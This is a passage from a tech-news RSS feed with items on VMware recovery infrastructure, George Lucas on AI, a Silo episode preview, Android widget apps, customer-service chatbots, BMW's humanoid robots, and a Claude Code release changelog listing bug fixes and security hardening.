<content:encoded><![CDATA[<div><img width="300" height="177" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/201159999_l.jpg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/201159999_l.jpg 1170w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/201159999_l.jpg?resize=300,177 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/201159999_l.jpg?resize=768,454 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/201159999_l.jpg?resize=1024,606 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/201159999_l.jpg?resize=600,355 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>Reduce Costs and Achieve Better Outcomes Recovery infrastructure spending has never been higher. Yet for most organizations, it is hard to point to any metrics that show improvement in recovery operations. Restorations take longer. Incidents are harder to recover from. And the financial impact of downtime keeps climbing.That gap between investment and outcome is the … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/15/modernize-recovery-infrastructure-with-vcf/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/15/modernize-recovery-infrastructure-with-vcf/">Modernize Your Recovery Infrastructure with VMware Cloud Foundation 9.1</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[George Lucas likens AI sceptics to luddites clinging to horses and carts]]></title>
<description><![CDATA[The Star Wars director has called AI technology ‘the future’ of film-making and advised ‘there’s nothing you can do about it’Star Wars director George Lucas has added his voice to the growing chorus of film-makers receptive to the rising use of AI tools in moviemaking.Speaking in an interview wit...]]></description>
<link>https://tsecurity.de/de/3670658/ai-nachrichten/george-lucas-likens-ai-sceptics-to-luddites-clinging-to-horses-and-carts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670658/ai-nachrichten/george-lucas-likens-ai-sceptics-to-luddites-clinging-to-horses-and-carts/</guid>
<pubDate>Wed, 15 Jul 2026 14:33:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Star Wars director has called AI technology ‘the future’ of film-making and advised ‘there’s nothing you can do about it’</p><p>Star Wars director George Lucas has added his voice to the growing chorus of film-makers receptive to the rising use of AI tools in moviemaking.</p><p>Speaking in an interview with <a href="https://a-rabbitsfoot.com/editorial/confessions/the-last-picture-show-a-conversation-with-george-lucas/">A Rabbit’s Foot</a>, Lucas, 82, said: “Artificial intelligence means it’s much easier for us to make movies.”</p> <a href="https://www.theguardian.com/film/2026/jul/15/george-lucas-likens-ai-sceptics-to-luddites-clinging-to-horses-and-carts">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silo Season 3 Episode 3 Preview: Juliette’s Memory Loss Could Become the Silo’s Biggest Threat]]></title>
<description><![CDATA[Silo Season 3 Episode 3 will continue Juliette Nichols’ fight to recover her missing memories as hidden forces tighten their control over Silo 18. The episode could show why her damaged memory now threatens everyone living underground.




Episode title: “A Dark Web”



Release date: Friday, July...]]></description>
<link>https://tsecurity.de/de/3670631/ios-mac-os/silo-season-3-episode-3-preview-juliettes-memory-loss-could-become-the-silos-biggest-threat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670631/ios-mac-os/silo-season-3-episode-3-preview-juliettes-memory-loss-could-become-the-silos-biggest-threat/</guid>
<pubDate>Wed, 15 Jul 2026 14:25:08 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 3 will continue Juliette Nichols’ fight to recover her missing memories as hidden forces tighten their control over Silo 18. The episode could show why her damaged memory now threatens everyone living underground.




Episode title: “A Dark Web”



Release date: Friday, July 17, 2026



Streaming platform: Apple TV



Genre: Science fiction, mystery and dystopian drama



Season length: 10 episodes



Main cast: Rebecca Ferguson, Common, Harriet Walter, Chinaza Uche, Avi Nash, Alexandria Riley, Jessica Henwick and Ashley Zukerman



New episodes: Every Friday through September 4, 2026




Spoilers ahead for Silo Season 3 Episode 2.



Juliette entered the season unable to remember important parts of her life, including the rebellion, her allies and the events surrounding her return to Silo 18. Episode 2 revealed that her condition is connected to memory-erasing drugs rather than an ordinary injury. Camille and Nurse Amy have been secretly controlling her treatment while following instructions connected to the Algorithm.



Juliette is beginning to question her new reality



Juliette’s memories remain incomplete, but fragments have started returning. These flashes directly challenge the version of events Camille has presented to her.



Episode 3 will likely follow Juliette as she investigates the people managing her recovery. The title “A Dark Web” suggests that she will discover a wider network operating inside the silo, possibly involving medical staff, surveillance systems and officials who want the population to forget the rebellion.



Patrick Kennedy has already helped Juliette understand that forgetfulness drugs exist. His information gives her a starting point, but accepting the truth also places her in greater danger. Anyone controlling the memory program will know that Juliette becomes harder to manage each time she remembers something.



Why Juliette’s memory loss threatens Silo 18



Juliette carries information that can expose the silo’s leadership, the purpose of the cleaning process and the truth about the world outside. Her missing memories temporarily protect the people responsible for hiding those secrets.



However, her confusion can also cause serious damage. Juliette may distrust genuine allies, follow manipulated information or make decisions without understanding their consequences. Since the silo is still recovering from rebellion, one wrong move can restart the conflict between residents and those in power.



Her search for Lukas Kyle could become especially important. Finding him may help her rebuild the missing parts of her story, including what happened before her forced cleaning and why the authorities consider her so dangerous.



The Before Times investigation will become more dangerous



Episode 3 will also continue the storyline set more than three centuries earlier. Journalist Helen Drew and Congressman Daniel Keene are investigating a conspiracy connected to the events that eventually forced humanity underground. Apple describes their discovery as a chain of events with catastrophic and irreversible consequences.



Helen’s investigation into memory experiments could explain why similar methods are being used against Juliette centuries later. The two timelines appear to be moving toward the same answer: memory control helped create the silo system and continues to protect it.



Silo Season 3 Episode 3 arrives on Apple TV on July 17. What do you think Juliette will remember next? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[5 wild ways to make Android widgets more useful]]></title>
<description><![CDATA[Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?



Okay, so maybe there has been — erm, lots of times, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google ba...]]></description>
<link>https://tsecurity.de/de/3670233/it-nachrichten/5-wild-ways-to-make-android-widgets-more-useful/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670233/it-nachrichten/5-wild-ways-to-make-android-widgets-more-useful/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?</p>



<p class="wp-block-paragraph">Okay, so maybe there has been — erm, <a href="https://www.computerworld.com/article/1714997/android-features-faded.html">lots of times</a>, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google basically buried, abandoned, and left on the brink of extinction up until its overdue revival in 2021’s <a href="https://www.computerworld.com/article/1616489/24-advanced-tips-for-android-12.html">Android 12 update</a>. (And that revival, by the way, happened for no apparent reason whatsoever. Just a totally random, unprompted change of heart after a decade of indifference. <a href="https://www.computerworld.com/article/1639159/android-missed-opportunity.html">Riiiiiiiiight</a>.)</p>



<p class="wp-block-paragraph">Google may have given up on widgets for a while, but the good news is that (a) they’re back, baby — still now, more than ever, even in <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">our overly AI-obsessed 2026 timeline</a> — and (b) the Android developer community keeps chuggin’ along and coming up with ever-more creative new ways to embrace widgets beyond what Google itself sees fit to give us. That means no matter what <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> your favorite phone is running, you can step up your own Android widget game and give yourself some fresh and fruitful paths to make the most of your phone’s framework.</p>



<p class="wp-block-paragraph">Here, my dear, are some fantastic beyond-the-basics ways to put <a href="https://www.computerworld.com/article/1699499/best-android-widgets-for-busy-professionals.html">your favorite Android widgets</a> to use and change the way you get stuff done on your phone. </p>



<p class="wp-block-paragraph"><strong>[Psst: Love learning new things?</strong> <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Get my free Android Intelligence newsletter</strong></a><strong> to get a tasty new tip in your inbox every Friday.]</strong></p>



<h2 class="wp-block-heading">Android widget enhancement #1: The on-demand home screen pop-up</h2>



<p class="wp-block-paragraph">Widgets are a wonderful way to interact with all sorts of info without ever having to open up apps, but having too many widgets can quickly lead to a cluttered and overwhelming home screen.</p>



<p class="wp-block-paragraph">Well, here’s a neat way to give yourself the benefit of a widget while still maintaining a neat and minimal space for working: An excellent app called <a href="https://play.google.com/store/apps/details?id=com.ss.popupWidget" target="_blank" rel="noreferrer noopener">Popup Widget</a> lets you create an on-demand pop-up widget (get it?!) that looks like a regular ol’ icon on your home screen but then loads any widget you want when tapped.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-popup-widget-1.webp" alt="Android widgets: Popup Widget (1)" class="wp-image-4196884" width="800" height="835" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Any widget, anytime — with Popup Widget on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">You can even get <em>really</em> wild and set up a single icon that opens <em>multiple</em> widgets at the same time — like your inbox and your calendar together:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-popup-widget-2.webp" alt="Android widgets: Popup Widget (2)" class="wp-image-4196885" width="800" height="837" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Popup Widget can even let you summon two widgets together with a single tap.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">Not bad, right?</p>



<p class="wp-block-paragraph">Popup Widget costs two bucks and doesn’t require any special permissions or manners of access. And it’s pretty simple and self-explanatory to set up: Once you install and open the app, it’ll walk you through adding in whatever pop-up widgets you want. You can choose the name and even the icon associated with each one along with its precise placement on your screen and how much the screen behind it should dim when it’s loaded.</p>



<p class="wp-block-paragraph">The app will offer to add the shortcut directly onto your home screen for you then, or you can also find all of your Popup Widget creations by pressing and holding the main Popup Widget icon in your app drawer.</p>



<p class="wp-block-paragraph">Alternatively, if you’re already using <a href="https://www.computerworld.com/article/1723954/android-launchers-for-enhanced-efficiency.html">a custom Android launcher</a> like <a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Smart Launcher</a> or <a href="https://play.google.com/store/apps/details?id=bitpit.launcher" target="_blank" rel="noreferrer noopener">Niagara</a>, you can find similar options for summoning widgets on demand within their settings — no separate apps even required.</p>



<p class="wp-block-paragraph">And that, my widget-loving wallaby, is but our first winning widget possibility.</p>



<h2 class="wp-block-heading">Android widget enhancement #2: The on-demand universal pop-up</h2>



<p class="wp-block-paragraph">If you like the idea of having a widget on demand but would rather have it be available to summon from <em>anywhere</em> instead of just from your home screen, this next wacky widget option is just the thing for you.</p>



<p class="wp-block-paragraph">It comes from a spectacular app called <a href="https://play.google.com/store/apps/details?id=com.ss.edgegestures" target="_blank" rel="noreferrer noopener">Edge Gestures</a>, which works in conjunction with Popup Widget to take that same concept and make it universally accessible. (I told ya it was wacky!)</p>



<p class="wp-block-paragraph">When you first install Edge Gestures, the app will prompt you to enable it as a system accessibility service and to grant it the ability to display over other apps. These permissions sound scary — and <a href="https://www.computerworld.com/article/1613704/android-security-warning.html">they should</a>! — but in the case of this specific utility, they’re absolutely appropriate and necessary in order for it to operate. The former is the only way an app is able to create a custom system-wide gesture, which we need for this setup to work its magic, and the latter is how your widget is able to be shown on top of whatever else you’re doing.</p>



<p class="wp-block-paragraph">(If you’re at all worried, note that Edge Gestures doesn’t request any other significant system permissions. Beyond that, it’s reputable, it’s been around for quite a long while, and it has a large number of overwhelmingly positive reviews.)</p>



<p class="wp-block-paragraph">Where were we? Oh, right: Once you’re inside the Edge Gestures configuration area, you’ll be able to select exactly what gesture you want to use for pulling up your widget. I’d think carefully about finding something that won’t interfere with anything else, like the system-level <a href="https://www.computerworld.com/article/1658581/android-gestures.html">Android gestures</a>, and that’ll be convenient to access without being a command you’re likely to trigger by mistake.</p>



<p class="wp-block-paragraph">So, for instance, you might make the gesture a simple swipe downward along the left side of your screen. To do that, you’d find the “Swipe down” option within the app’s “Left” tab, and you’d set it to “Popup Widget” — and then create or select whatever Popup Widget item you want. And remember: You can select one widget or <em>multiple</em> widgets, too.</p>



<p class="wp-block-paragraph">Prepare yourself for some serious oohing and ahhing:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-edge-gestures.webp" alt="Android widgets: Edge Gestures" class="wp-image-4196887" width="800" height="855" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Your favorite widgets are never more than a swipe away with Edge Gestures on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">As you can see, this opens up a whole new world of mobile multitasking potential. I mean, really: How could you <em>not</em> love that?!</p>



<p class="wp-block-paragraph">The final thing worth doing is going into all the <em>other</em> gesture options in that same configuration area and tapping “Clear” for each of ’em to get rid of Edge Gestures’ default actions. I’d also go into whichever side of the screen you <em>aren’t</em> using — left or right — and tap the toggle to turn the gestures for that side off entirely. That way, you won’t inadvertently activate any gestures that you don’t actually want or need.</p>



<p class="wp-block-paragraph">Edge Gestures costs $2 to use.</p>



<h2 class="wp-block-heading">Android widget enhancement #3: The physical key call</h2>



<p class="wp-block-paragraph">Next, here’s an interesting twist on that same on-demand Android widget idea: You can make any widget especially easy to access from anywhere without even having to mess around with any on-screen swiping by setting one of your phone’s <em>physical keys</em> as a trigger for the widget’s appearance.</p>



<p class="wp-block-paragraph">I’ll give you a second to catch your breath and process the sheer splendor of that sorcery.</p>



<p class="wp-block-paragraph">Back? Cool. So, the <em>key</em> to this feat (har har) is the combination of the aforementioned Popup Widget and a handy Android contraption called <a href="https://play.google.com/store/apps/details?id=io.github.sds100.keymapper&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Key Mapper</a> — which makes it easy to map your phone’s physical keys to all kinds of crazy custom actions.</p>



<p class="wp-block-paragraph">In this case, we’ll set it up so that pressing and <em>holding</em> one of your volume keys causes whatever widget you want to be summoned, like so:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2024/06/floating-android-widget.webp" alt="Floating Android widget" class="wp-image-2144001" width="700" height="722" sizes="auto, (max-width: 700px) 100vw, 700px"><figcaption class="wp-element-caption">Yes, your volume key can cause a widget to appear (whoa!).</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">Pretty nifty, no?</p>



<p class="wp-block-paragraph">I’ve got step-by-step instructions for making this happen in <a href="https://www.computerworld.com/article/2143971/android-widgets-floating.html">this separate guide</a>.</p>



<h2 class="wp-block-heading">Android widget enhancement #4: The floating bubble</h2>



<p class="wp-block-paragraph">If you like the notion of having a widget always available but aren’t so keen on the hidden gesture concept, an app called <a href="https://play.google.com/store/apps/details?id=com.applay.overlay" target="_blank" rel="noreferrer noopener">Overlays</a> will let you create a small floating bubble that you can position anywhere on your screen and then tap to pull any widget up when you want it — just like with <a href="https://www.computerworld.com/article/4185786/google-pixel-android-17.html#:~:text=Android%2017%20Pixel%20feature%20%231%3A%20Bubbles%20multitasking%20magic">Android’s recently revived Bubbles multitasking system</a>, only compatible with <em>any</em> Android device and version and with the simplicity of a widget instead of the complexity of an entire app.</p>



<p class="wp-block-paragraph">Check it out:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-overlays.webp" alt="Android widgets: Overlays" class="wp-image-4196886" width="800" height="852" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Overlays puts a floating icon on your screen for easy ongoing widget access.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">By default, Overlays gives you a bunch of its <em>own</em> little widgets to choose from, but the real power comes from adding in widgets from the Android apps you actually rely on. To do that, tap the “Triggers” tab at the bottom of the Overlays configuration area, then tap the red plus button in the lower-right corner of the screen. Select “Manual,” then type in whatever name you want for your widget and tap the icon to pick any icon you like.</p>



<p class="wp-block-paragraph">Tap “Save,” then select “Widget” and find the widget you want from the list. At that point, you’ll see a preview of the widget. Move or resize it if you like, then hit the arrow in the upper-left corner of the screen to exit out of that interface. Last but not least, tap the name of your newly made widget on the screen that comes up next to change its status to “Always on.”</p>



<p class="wp-block-paragraph">As soon as you head out of the app and back to your home screen, your fancy new widget should pop right up. All you’ve gotta do is tap the little downward-facing arrow in its corner to minimize it down to a bubble, which you can then press and hold to move anywhere your widget-worshipping heart desires.</p>



<p class="wp-block-paragraph">Overlays can also create widgets that automatically appear based on <em>context</em> — so you could have something show up every time you connect to a certain Bluetooth device or Wi-Fi network, for instance. To explore those options, just follow the same steps from above but pick “Event” instead of “Manual” when you reach the “Triggers” tab configuration.</p>



<p class="wp-block-paragraph">Overlays is free with an optional $4 in-app upgrade that removes some ads from the configuration tool and unlocks a handful of advanced features.</p>



<h2 class="wp-block-heading">Android widget enhancement #5: The widget stack</h2>



<p class="wp-block-paragraph">Last but not least in our collection of wacky Android widget possibilities is one of my favorite widget wonders — and that’s the ability to stack <em>multiple</em> widgets and then swipe between ’em on your home screen without having ’em take up any extra space.</p>



<p class="wp-block-paragraph">Check it out:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-smart-launcher-stacked-widgets.webp" alt="Android widgets: Smart Launcher stacked widgets" class="wp-image-4196888" width="800" height="893" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">The space-saving simplicity of stacked widgets, as seen in Smart Launcher.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">This enhancement presents a bit of a choose-your-own-adventure-style path:</p>



<p class="wp-block-paragraph">First, if you’re using a reasonably recent Samsung Galaxy gizmo, the option is should already be present and available in your standard Samsung home screen setup. Just press and hold any open space on your home screen and then select the option to add a widget — then, once the widget is added, press and hold it and look for the “Create stack” command.</p>



<p class="wp-block-paragraph">With any other Android gadget — or even with a Samsung device, if you want extra options and flexibility — you can use a <a href="https://www.computerworld.com/article/1723954/android-launchers-for-enhanced-efficiency.html">custom Android launcher</a> like the aforementioned <a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Smart Launcher</a> or <a href="https://play.google.com/store/apps/details?id=bitpit.launcher" target="_blank" rel="noreferrer noopener">Niagara</a> as well as the retro-geeky T9-themed <a href="https://play.google.com/store/apps/details?id=com.loitran.minimalt9launcher.free" target="_blank" rel="noreferrer noopener">Key Launcher</a> I <a href="https://www.computerworld.com/article/4180222/retro-android-home-screen.html">introduced to you</a> earlier this summer.</p>



<p class="wp-block-paragraph">Those launchers replace your phone’s entire home screen environment and give you all sorts of interesting new possibilities for optimizing your interface and making it especially well-suited for <em>you</em>. And the stacked widget feature is just one small sliver of what they offer and how they’ll transform your Android experience.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-smart-launcher-stacked-widgets-setup.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android widgets: Smart Launcher stacked widgets setup" class="wp-image-4196890" width="1024" height="896" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The setup interface for a widget stack within Smart Launcher.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">So there ya have it: five wacky, wild, wonderful ways to make widgets even more wow-inducing. Some days, you’ve just gotta love Android and the endless customization, control, and power it provides.</p>



<p class="wp-block-paragraph"><em>Put even more Googley goodness in your noggin with</em> <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><em>my free Android Intelligence newsletter</em></a><em> — one exceptional new thing to try every Friday!</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[My Ebike Delivery Went Missing. When I Tried to Recover It, I Ended Up in Chatbot Hell]]></title>
<description><![CDATA[Companies’ increasing reliance on AI chatbots isn’t making the customer service experience smarter. It’s just making it more infuriating.]]></description>
<link>https://tsecurity.de/de/3670222/it-nachrichten/my-ebike-delivery-went-missing-when-i-tried-to-recover-it-i-ended-up-in-chatbot-hell/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670222/it-nachrichten/my-ebike-delivery-went-missing-when-i-tried-to-recover-it-i-ended-up-in-chatbot-hell/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Companies’ increasing reliance on AI chatbots isn’t making the customer service experience smarter. It’s just making it more infuriating.]]></content:encoded>
</item>
<item>
<title><![CDATA[BMW elevates its AI humanoid robot strategy to include logistics]]></title>
<description><![CDATA[When people hear the term artificial intelligence, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term physical AI, the automaker is integrating the new humanoid AI robt Figure 03 into its production lo...]]></description>
<link>https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</guid>
<pubDate>Wed, 15 Jul 2026 11:35:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When people hear the term <em>artificial intelligence</em>, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term <em>physical AI</em>, the automaker is integrating the new humanoid AI robt Figure 03 into its production logistics.</p>



<p class="wp-block-paragraph">The move comes as no surprise: For almost a year, <a href="https://www.cio.de/article/3699238/bmw-testet-naechste-generation-humanoider-roboter.html?utm=hybrid_search">BMW had the predecessor (Figure 02)</a> welding body parts for more than 30,000 vehicles. The conclusion of this practical test: The machines can precisely perform monotonous, heavy tasks. Now the technology is leaving the testing phase and moving to where things get highly complex: logistics.</p>



<h2 class="wp-block-heading">The task: Transform chaos into order</h2>



<p class="wp-block-paragraph">While its predecessor simply lifted sheets of metal, the further enhanced Figure 03 has to solve cognitive and tactile tasks. In logistics, it picks unsorted components from large boxes and sorts them into carts in the exact required order. Automated transport systems then take over, carrying them to the assembly line.</p>



<p class="wp-block-paragraph">To achieve this, the manufacturer has upgraded Figure AI. The new robot has:</p>



<ul class="wp-block-list">
<li>Cameras and tactile sensors directly in the palms of the hands for greater sensitivity</li>



<li>Audio functions for true speech-to-speech communication in the factory hall</li>



<li>Wireless charging for continuous, autonomous operation</li>



<li>Softer components to increase safety for human colleagues</li>
</ul>



<p class="wp-block-paragraph">At first glance, a humanoid robot might seem like a project solely for the production manager. That’s a misconception. This use case is relevant for everyone, and is highly relevant for CIOs. Figure 03 is ultimately nothing other than a highly complex, mobile edge client that has to process large amounts of data (video, audio, sensor data) locally and in real-time.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/BMW-humanoider-Roboter-Figure-03_.png?w=1024" alt="BMW, humanoider Roboter Figure 03, Spartanburg" class="wp-image-4190512" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">These advanced robots, equipped with new capabilities, are taking on new tasks.</figcaption></figure><p class="imageCredit">BMW AG</p></div>



<p class="wp-block-paragraph">BMW is demonstrating in Spartanburg that such a robot works, but only in a fully digitized ecosystem like an automotive plant. This means that the IT department is the enabler for the production environment of the future.</p>



<ol start="1" class="wp-block-list">
<li><strong>Virtual twins:</strong> Even before the first robot touches a box, BMW simulates Hall 52 and all movement sequences in a 3D “Virtual Factory.” IT provides the planning basis.</li>



<li><strong>AI Quality Control (AIQX):</strong> Error detection is performed using cameras and microphones along the production line. The algorithms perform visual and audible checks and send the feedback directly to the smart devices of human colleagues.</li>



<li><strong>Infrastructure scaling:</strong> When robots communicate via voice, charge wirelessly, and interact with autonomous transporters, the WLAN, 5G, and network backbone in the factory must have low latency and be fail-safe.</li>
</ol>



<p class="wp-block-paragraph">On the one hand, the humanoid robot relieves BMW factory workers of physically demanding work; on the other hand, it forces the IT department to merge traditional IT infrastructure and factory technology (OT). “Physical AI” has thus arrived in everyday industrial practice.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.210]]></title>
<description><![CDATA[What's changed

Added a live elapsed-time counter to the collapsed tool summary line so long-running tool calls visibly tick instead of looking stuck
Added a startup warning for Write(path), NotebookEdit(path), and Glob(path) permission rules — use Edit(path) or Read(path) instead
Fixed isolation...]]></description>
<link>https://tsecurity.de/de/3669298/downloads/v21210/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669298/downloads/v21210/</guid>
<pubDate>Wed, 15 Jul 2026 01:46:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added a live elapsed-time counter to the collapsed tool summary line so long-running tool calls visibly tick instead of looking stuck</li>
<li>Added a startup warning for <code>Write(path)</code>, <code>NotebookEdit(path)</code>, and <code>Glob(path)</code> permission rules — use <code>Edit(path)</code> or <code>Read(path)</code> instead</li>
<li>Fixed <code>isolation: 'worktree'</code> subagents being able to run git-mutating commands against the main repo checkout instead of their own isolated worktree</li>
<li>Fixed the <code>ultracode</code> keyword opt-in firing on non-human-originated input such as webhook payloads and relayed PR comments</li>
<li>Fixed a rendered text fragment leaking into crash telemetry when a UI component returned content outside a styled text element</li>
<li>Fixed paste markers leaking into external editors opened from Claude Code, which could appear as stray È/É characters around pasted text</li>
<li>Fixed <code>claude attach</code> sometimes failing with "job not found" or "agent is still starting" errors during session transitions — attach now waits for the daemon to settle, and terminal resizes during a slow attach are applied once it completes</li>
<li>Fixed a session crash when a tool's result renderer returned a numeric bigint value or plain text instead of a UI element</li>
<li>Fixed a hook callback timeout being misreported to the model as a user rejection, which made unattended sessions stop and wait</li>
<li>Fixed Claude assuming a <code>cd</code> took effect after its command was moved to the background; the tool result now states the working directory is unchanged</li>
<li>Fixed plugin-provided MCP servers being torn down when MCP servers are re-synced mid-session</li>
<li>Fixed plan approvals without edits being labeled "(edited by user)" and overwriting the plan file with a stale snapshot</li>
<li>Fixed <code>/doctor</code> skipping its auto-mode-default proposal on Bedrock, Vertex, and Foundry, where auto mode no longer needs an opt-in</li>
<li>Fixed Grep content mode claiming "No matches found" when paginating past the end of results</li>
<li>Fixed unmatched <code>$1</code>/<code>$2</code> positional placeholders in skills and commands being silently stripped; they are now preserved verbatim</li>
<li>Fixed plugin cache writes leaving temp files behind on failure and failing on locked-file renames on Windows and network filesystems</li>
<li>Fixed background workers crash-looping when a client resets its connection to the background service</li>
<li>Fixed <code>claude agents --effort ultracode</code> not reaching dispatched sessions; the value was silently dropped</li>
<li>Fixed pressing ← to open the agents view dropping the task tracker when returning to the session</li>
<li>Fixed the agents dashboard retaining pasted images from abandoned reply drafts after their session was deleted</li>
<li>Fixed killed background sessions leaving a permanent <code>git worktree lock</code> behind; the periodic sweep now releases locks whose owning process is gone</li>
<li>Fixed SDK MCP servers registered via an <code>initialize</code> control request waiting until the next turn to start connecting</li>
<li>Fixed returning to the agents view from a session leaving overlapping ghost frames with <code>CLAUDE_CODE_DISABLE_ALTERNATE_SCREEN=1</code></li>
<li>Fixed late-appearing <code>.claude/*</code> symlinks not being reconciled into the sandbox deny-write list</li>
<li>Hardened the Agent tool against indirect prompt injection via content a subagent read</li>
<li>Improved the Bash/PowerShell tool message when a command hits its timeout and is auto-backgrounded, so the model can distinguish a hang from an explicit background request</li>
<li>Improved auto mode: the permission classifier now defaults to Sonnet 5 for external sessions, validated on the session's first request and pinned for the session</li>
<li>Improved the bundled dataviz skill's chart color validation with perceptual OKLab color difference and recalibrated color-blindness thresholds</li>
<li>Memory writes that leave a MEMORY.md index over its read limit now produce an explicit error instead of silent truncation</li>
<li>Screen reader mode now announces permission mode changes aloud when cycling modes with Shift+Tab</li>
